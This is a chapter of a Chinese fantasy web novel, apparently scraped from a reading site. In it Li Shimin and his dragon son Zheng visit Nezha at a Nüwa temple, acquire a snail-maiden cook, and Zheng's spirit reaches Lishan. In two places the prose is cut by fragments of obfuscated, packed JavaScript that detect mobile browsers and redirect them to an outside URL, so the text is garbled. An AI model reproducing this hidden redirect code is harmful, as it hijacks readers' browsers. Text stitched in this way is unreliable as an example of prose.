政崽也看见那棵枣树了,树上密密匝匝的全是青黄的枣子,有些晕出红褐的色彩,像点出来的妆容,瞧着比青色的更诱人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16885899|191767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >女娲庙别的不说,里面什么东西都有年头,石桌都仿佛从地上长出来似的,边边角角都圆润平整。 碗还是陶碗,褐色的叶子与鱼纹,充满了古朴的韵味。 李世民估计,这庙里最新的估计就是这桌饭了。 幼崽咔嚓咔嚓地啃着青枣,李世民不紧不慢地吹凉滚烫的粥,趁孩子一个枣刚吃完,把他揽过来喝粥。 哪吒百无聊赖地咬了口枣,吃不出什么滋味。 莲子饱满软糯,菰米带着独特的香气,都煮得很软烂,仿佛不需要咀嚼,抿抿就化了。 藕片上挂满了甜丝丝的蜂蜜糖浆,细碎的桂花不均匀地洒落,是只有金秋时节才能品尝到的新鲜滋味。 “这个做起来很费功夫吧?”李世民喂了孩子两口粥,把每样菜都送给崽尝一口。 政崽很给面子,一样一样尝完。 “不是我做的。”哪吒干脆道,“捡了个田螺,她爱做饭,打扫院子也很干净,就留下来看庙了。” “白水素女?[1]”李世民脱口而出。 哪吒点头:“要不要送给你们?” “这还可以送?”李世民一怔,看向自家崽,“你要不要?” 政崽吃东西很干净,手上身上脸上都没什么脏污,含住父亲撕下来的鹌鹑肉,闭上嘴巴,慢条斯理地咀嚼。 嘴里食物吃完了,挺满意这个酥脆咸香的口感,他才张口说话:“田螺,是什么?” 李世民哑然失笑,因为孩子天赋神通,时常忘记崽崽才一丁点大,很多东西都不认识。 可能见过,但不知道名字,反之亦然。 等用完餐食,把幼崽喂得饱饱的,李世民才道:“这得问过白水素女吧?” 哪吒带他们往庖厨的方向去,揣着手,无所谓道:“帮人做事,是她修行攒功德的方式。在哪做饭不是做?” “她做的饭好好吃。”政崽在李世民手腕上游了一圈,找了个最舒服的角度,枕着自己的爪爪和尾巴,困困地咕哝。 大约是吃饱了犯困。 “女娲庙,到底和其他地方不一样。在这里修行,事半功倍吧?” 李世民慢吞吞地跟随哪吒,总觉得自进入庙里来,就好像隔绝了尘世的嘈杂,不由自主地心神一定。 古老的庙宇虽在城中,却自成一方天地,连咕嘟嘟冒泡的泉水,也盈散着飘渺清凉的气息。 这要是夏天,在泉水里浸上一篮瓜果,最是消暑的好去处。 “入世也是修行,机缘稍纵即逝。”哪吒漫不经心,却刚刚好把这句话说给了躲在田螺里的素女听。 “这个就是田螺?”政崽好奇地张望,观察那东西的外壳,恍然大悟,“泾水里有好多的。” 李世民止步,装作没看见那姑娘慌慌张张地从田螺里飘出来,紧张地绞着手指,向他们行礼。 秦王叉手为礼,微微低头。 政崽也学他,叉……唔,爪爪太短,叉不起来,彼此似乎不熟,扭来扭去快扭成麻花了。 “见、见过……”素女的脸涨得通红,结结巴巴,好像见两个外人就耗尽了毕生勇气,酝酿了半天,一句话都没说完整。 “她怎么啦?”政崽不解。 “怕生。”李世民一针见血。 素女的脸更红了,垂着脑袋,绝望地想钻进壳里,一百年都不出来。 “那她会愿意跟我们走吗?”政崽小声问。 “这得问她。”李世民笑眯眯。 政崽爬到李世民肩膀上,盘成小小一团,望向素女,认认真真地询问:“你愿意跟我们走吗?” “我……”素女憋了半天,憋出一句,“我愿意的。” 好顺利,顺利得像一场局。 李世民琢磨着,但这对他又没有坏处,只是带上一个田螺当庖厨而已,对养孩子来说很方便。 直觉告诉他没有危险。女娲娘娘总不至于害他,他又不是纣王。 政崽目不转睛地看着素女逃窜回她的壳里,盯了一会那个入口,盯得她头皮发麻。 这个壳好能装的样子,她那么大一个人,咻地一下就滑溜进去了。 是不是跟哪吒的豹皮囊,还有他自己的“吞噬”是一样的道理呢? 好想拆开研究一下…… “每个田螺里,都有会做饭的素女么?”孩子问。 “没那么多。”哪吒倚靠在门边,“大多数妖精,连在白天保持化形都做不到。” 幼崽沮丧地叹口气:“我也做不到。” “你才多大?”哪吒嗤笑,“慢慢修炼吧,你有的是时间。” 但李世民没有那么多时间。 政崽踌躇满志,下定决心要在回长安之前修炼好自己的化形,以最好的状态给母亲看。 李世民却直到现在才问出那句早就该问的话:“叨扰许久,还未请教阁下名讳?” “哪吒。” 20.他回到了骊山 哪吒,不是李哪吒。 李世民一瞬间想到了许多许多关于哪吒的传说。 女娲庙……原来如此。 哪吒跟自家崽什么时候混熟的?感觉他们对话时很熟稔的样子。还有刚刚的莲子和藕…… 虽然肯定是普通的食材,但一联想到哪吒身上,就觉得好生微妙。难怪刚刚哪吒那副表情。 “哪吒,姓哪吗?”政崽举起一只爪爪,表示疑惑。 “瞎说什么?”哪吒嗤之以鼻。 “那氏哪?”政崽继续疑惑。 “姓氏早就合流了。”李世民捧哏。 “但是哪吒很老了。”政崽认为自己的逻辑没有问题。 “谁很老?”哪吒不满,“我这个年龄,在神仙里,可是很年轻的好不好?” “我懂了,你没有姓氏。”政崽一副茅塞顿开的表情。 “你懂什么了呀?”哪吒嘀嘀咕咕,但也没有再纠正他。 李世民便觉着哪吒真的很好说话,远比传说故事里要温和,不知道是故事太夸大了,还是岁月磨平了棱角。 如此,秦王也孩子气地问:“我有个问题,想了很久了,不知三太子可否解惑?” 哪吒不解,带着点意外,挑眉道:“你问问看。” 李世民先用指腹捂住幼崽的耳朵,神秘兮兮,狗狗祟祟地低声:“龙筋能吃吗?” “……” “不能?” “都什么问题啊!”哪吒怒了,“你当是说笑话呢?” “时隔千年,三太子还是不能释怀陈塘关旧事吗?”李世民轻声。 “等哪天你也削骨还父、割肉还母,死过一次,再被亲生父亲打碎庙里神像,差点死第二次之后,再来和我讨论这些吧。”哪吒冷笑,恶意地勾起嘴角,“以你的军功,迟早会有这么一天的。” 满室一静,鸦雀无声。 素女恨不得自己原地消失,缩在壳最里面瑟瑟发抖。 嬴政挣开了父亲的手,——其实被捂着耳朵他也听得见,但有点闷。 “不会的。”幼崽否定。 “什么不会?”哪吒睨他,“天下这么大,这么多诸侯,总是要人打的。唐王[1]已经躺下享乐了,冲锋陷阵的是你父亲,秦王殿下。不过三五年,最多七八年,看着吧,有功高震主,鸟尽弓藏的那一天。到时候,又能比我好到哪儿去?” 李世民与嬴政双双沉默。 正是因为他们的政治敏锐度足够高,才能迅速接受哪吒的这种推测,并立刻把自己带入其中,思考对策。 “不至于到那一步。”李世民沉吟片刻,冷静地微笑,“事在人为。” “我不会让阿耶落到削骨割肉的地步。”政崽严肃脸,“我会保护他的。” 哪吒被酸得牙疼,嘶了口气,摆出了拒绝辩论的姿态,懒得跟这父子俩争。 “好了,我的任务完成,没什么事的话,我就送客了。” “……你生气了吗?”政崽小小声问。 哪吒侧了侧身,给他们让出路来,不言不语。 “他不是在生气,只是不赞同我们的言论。”李世民慢悠悠向外走,言笑晏晏,“我们两个,刺到他了。” “我听得到!”哪吒加重语气,“背后说人闲话能不能回家再说。” “我们没有背后。”政崽强调,瞅着哪吒的脸,“我在看着你。” “……”哪吒深呼吸,然后道,“我本来知道化形术的玄妙之处,想教给你的。看来你不需要了。” “需要!”×2 李世民带着孩子,齐声应答。 “方才是我冒犯了。”李世民认错极快,态度好得不得了,和颜悦色,丝毫不觉得不好意思。 “吃枣吗?”政崽双爪捧着一颗最大最圆最标致的红枣,眼睛亮晶晶地放着光,送到哪吒面前,“这个红色,更甜。” “你们别以为区区一颗枣——是挺甜的。” 我们哪吒就是这么喜怒随心,蒲公英一般毛绒绒的男孩子。 哪吒勾勾手,李世民就把崽交了过去。 这里是女娲庙,对面是哪吒,他有什么不放心的? 哪吒却不满意了,告诫着:“下次不要这么轻信于人,有些妖怪会障眼法,庙可能是假的,神仙也可能是假的。” 父子俩都乖乖点头。 政崽悄咪咪注脚:“但我知道你是真的。” “你知道?”哪吒将信将疑,把小龙绕在手指上,对崽崽的监护人客气道,“法不传六耳,你不能修炼,我就只教给他了。” 李世民有些遗憾,毕竟谁小时候没幻想过腾云驾雾的飞天体验呢? 他喜欢鸟,多少也是出于向往天空。 “可惜我没有天赋……” “不是,跟天赋没关系。”哪吒摇头,“你是要走王道的人,修不了法术。” 这是李世民第二次听到这种类似于预言一般的谶语了。 哪吒不是袁天罡,他甚至不能斥责对方妄语。 他心里百转千回,表现出来却只有淡淡的一句:“若我行王道,不能修炼,那政儿……” 政崽在哪吒秀气的手指上滑滑梯,盘旋着转圈圈,弹性十足地降落,正玩得不亦乐乎,还抽空听他们讲话。 “那就是他的事了。”哪吒满不在乎,“当年武王伐纣,声势那么浩大的封神之战,纣王帝辛和武王姬发可都是凡人。人皇人皇,需得是‘人’,不然叫什么‘人皇’?” “我会努力变成人的。”政崽郑重许诺。 “没这么简单。”哪吒结束对话,“以后再说吧。——跟我来,教你更快化形。” “哦。” 嬴政很聪明,学东西很快,举一反三,哪吒只告诉他简明的要领,他就能谙熟于心,马上做到给他看。 长条形的龙崽刷地一下,变成了漂亮娃娃——竟然还是穿着衣服的。 哪吒啧了一声,返回银杏树下,把娃娃丢给他父亲。 李世民手忙脚乱地接住,先去摸崽崽屁股:“尾巴呢?” “好痒……不可以摸……”幼崽好不容易隐藏起来的大尾巴,还没有坚持两分钟,就一个分心,“嘭”地冒了出来。 尾巴尖顶起了交领的上衣,顺着衣裳的缝隙滑溜出来,快乐地招摇。 政崽气坏了,扭过头,给了尾巴一巴掌。 “我本来想跟你说,我已经学会了……” 破尾巴妨碍他汇报学习成果了。 但没关系,李世民会溺爱。 “政儿好聪明,这么快就学会了!我从来没见过像你这么聪明的孩子。”李世民笑眯眯,摸摸崽崽的尾巴,再摸摸他肉嘟嘟的小手。 哪吒默默移步,离他们远点。 “角也藏起来了吗?”李世民爱怜地摩挲孩子光洁的额头。 “不要碰。”政崽下意识抱头,两只软乎乎的小手保护着原先角的位置,“会发芽。” “哈哈……”李世民大笑。 这次哪吒终于可以送客了,还送了只厨娘。 素女把自己藏身的田螺缩小再缩小,都快缩成米粒大小了,主动蹦跶进龙崽的袖袋里。 比起李世民,她更喜欢政崽。 也许是因为同为水族,又或者政崽比李世民安静,待在他那里不至于一天旁观几十场社交。 正如李世民所说,等疫病的事告一段落,刘世让过来接手高墌城,秦王就率军凯旋了。 临走前还热情邀请孙思邈去长安转转,把长安夸得天花乱坠,顺便说那里人多病人也多,很需要高明的医者。 孙思邈没有一口答应,但多少有些意动。 这就够了。 回程的一路上,政崽九成的时间都在休眠中修炼,恢复损耗的灵力,唯有到了晚间,才会苏醒一阵子,和李世民说说小话,吃点素女开的小灶。 哪吒的故事,就在这一个个夜晚,断断续续地入了孩子的耳朵。 当然李世民的版本,和四海龙族相传的版本,自然大相径庭。 “只见那夜叉青面獠牙,跳出海面,扔出三叉戟……” “青面,是什么颜色呢?” “我也不知道。不是蓝就是绿吧?” “那是蓝还是绿呢?” “你觉得呢?” “我觉得是蓝色。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16891306|191767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >李世民给孩子掏掏口袋,把小巧的田螺放到隔间,随口问:“为什么呢?” “因为东海是蓝色的,夜叉和海水一个颜色,可以藏起来。” “有道理。”李世民煞有介事地应声,抱起人形的崽崽,掂量了下,“你好像重了点。” “是吗?”幼崽亮着眼睛,像两盏暖融融的金色小灯笼,闪闪发光。 “也长高了些。”李世民用手指量着,“等我们回到长安,你阿娘一定会很高兴的。” “嗯嗯。”政崽很期待。 回程的每一天,他都很期待。 明明他在长安也没有待很久,大多时间都在蒙昧中度过,可是离开长安之后,却总是想起李世民和长孙无忧常在的那个地方。 那时候芍药花还在开呢。 “你怎么知道东海是蓝色的?”李世民把幼崽塞被窝里,暖乎乎的,抱起来手感很好,挣扎着不愿意被抱紧的样子也活蹦乱跳的,很可爱。 “啊?”政崽忙着和父亲的手作斗争,不乐意充当抱枕玩偶。 牵个手就可以啦,不要抱那么紧,他要不能呼吸了。 “你见过东海?”李世民逗孩子玩。 “唔……” 他,见过东海吗? 好像是没有的,泾河不流向东海,下雨的时候他没有空闲往海的方向看。 他没见过东海吗? 也不是,提起这个地方,很自然地就想到了一望无际、水天一色的壮阔画面,还有超大的大鱼跃出湛蓝的海面。 那大鱼的肉很难吃。 幼崽想着想着,想困了,模模糊糊地垂下睫毛,呼吸越来越缓。 他们靠近了长安,也靠近了骊山,因为骊山就在到达长安的必经之路上。 政崽又开始蠢蠢欲动。 “执拗”这两个字,大约是刻在他魂魄里的,转世多少次都不影响。 他就这么摆着安静乖巧的模样,吸取了上次的教训,这次选择元神出窍,没有惊扰任何人,摆脱肉/体的束缚,兴高采烈奔向了骊山。 他倒要瞧瞧,这骊山到底有什么特别,老是吸引他的注意力? 政崽乘奔御风,瞄准了一朵牡丹花似的云,快快乐乐地扑上去。 水汽凝聚的云朵,被他的灵气托着,不再是湿淋淋的触感,现在软得像棉花糖做的懒人沙发,任由他在上面打滚都没有散。 嬴政接近了骊山。 骊山的天空仿佛禁止飞行,蓬松的云朵倏然炸开,毫无防备的幼崽跌落下去。 他没有尖叫。 越危险时,他越冷静。 政崽调动灵力试图控风,但风也凝滞了。 实在不行就回……诶? 骊山接住了掉落的幼崽。 很难形容那是一幅怎样的画面,这古老而静止、庄严而肃穆、幽深而莫测的帝陵,忽然之间,就活了过来。 它在呼吸。 层层叠叠的阵法无声运转,大篆小篆的符文流泻着暗金光辉,日月星辰的章纹旋转自洽,小心翼翼地包裹着幼崽,很慢很慢地将他安放。 政崽落在了一个亮满灯烛的宫殿里。 这宫殿很大,东西摆得很多,却很空,除了一排排燃烧的灯火,好像没有一点生机。 死气沉沉的。 他不喜欢这样,索性缩地成寸,直接来到一扇厚重的大门前,推开了那扇铜门。 这门本该有万钧之重,门上篆刻有不怒自威的神兽开明,却被肉乎乎的小手,轻而易举地推开了。 门开得太快,幼崽头重脚轻,险些没站稳。 开明兽的九个脑袋同时露出了惊恐的表情,沉默呐喊。 政崽踉踉跄跄,跌进一个急切赶来的怀里。 他不愿意与人靠得太近,本能地站稳,与之拉开距离,警惕地抬眼观察。 来者蹲下来,单膝跪地,把自己的视线放低,收敛着惊喜与动容,言语动作都万分小心,轻声细语,注意分寸,极力获取政崽的初始好感。 “久违颜范,陛下一切可好?” 嬴政怔住了,他定定地看着眼前这个陌生而熟悉的人,迟疑地问:“你是……”